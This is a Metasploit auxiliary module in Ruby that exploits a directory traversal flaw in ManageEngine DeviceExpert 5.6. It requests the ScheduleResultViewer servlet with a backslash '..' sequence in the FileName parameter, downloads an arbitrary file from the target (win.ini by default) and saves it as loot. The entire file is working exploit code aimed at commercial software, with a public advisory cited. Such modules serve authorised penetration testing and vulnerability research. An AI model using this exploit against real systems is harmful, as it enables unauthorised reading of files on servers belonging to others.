##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability found in ManageEngine
        DeviceExpert's ScheduleResultViewer Servlet.  This is done by using
        "..\..\..\..\..\..\..\..\..\..\" in the path in order to retrieve a file on a
        vulnerable machine.  Please note that the SSL option is required in order to send
        HTTP requests.
      },
      'References'     =>
        [
          [ 'OSVDB', '80262'],
          [ 'URL', 'http://retrogod.altervista.org/9sg_me_adv.htm' ]
        ],
      'Author'         =>
        [
          'rgod',   #Discovery
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Mar 18 2012"
    ))

    register_options(
      [
        Opt::RPORT(6060),
        OptBool.new('SSL',   [true, 'Use SSL', true]),
        OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini'])
      ], self.class)

    deregister_options('RHOST')
  end

  def run_host(ip)
    traverse = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
    filename = datastore['FILEPATH']

    res = send_request_raw({
      'uri' => "/scheduleresult.de/?FileName=#{traverse}#{filename}",
      'method' => 'GET'
    }, 25)

    if res
      print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
    else
      print_error("Unable to communicate with #{ip}:#{rport}")
      return
    end

    if res.body.empty?
      print_error("#{ip}:#{rport} - no file downloaded (empty)")
    else
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'manageengine.http',
        'application/octet-stream',
        ip,
        res.body,
        fname)

      print_status("#{ip}:#{rport} - File saved in: #{path}")
    end
  end

end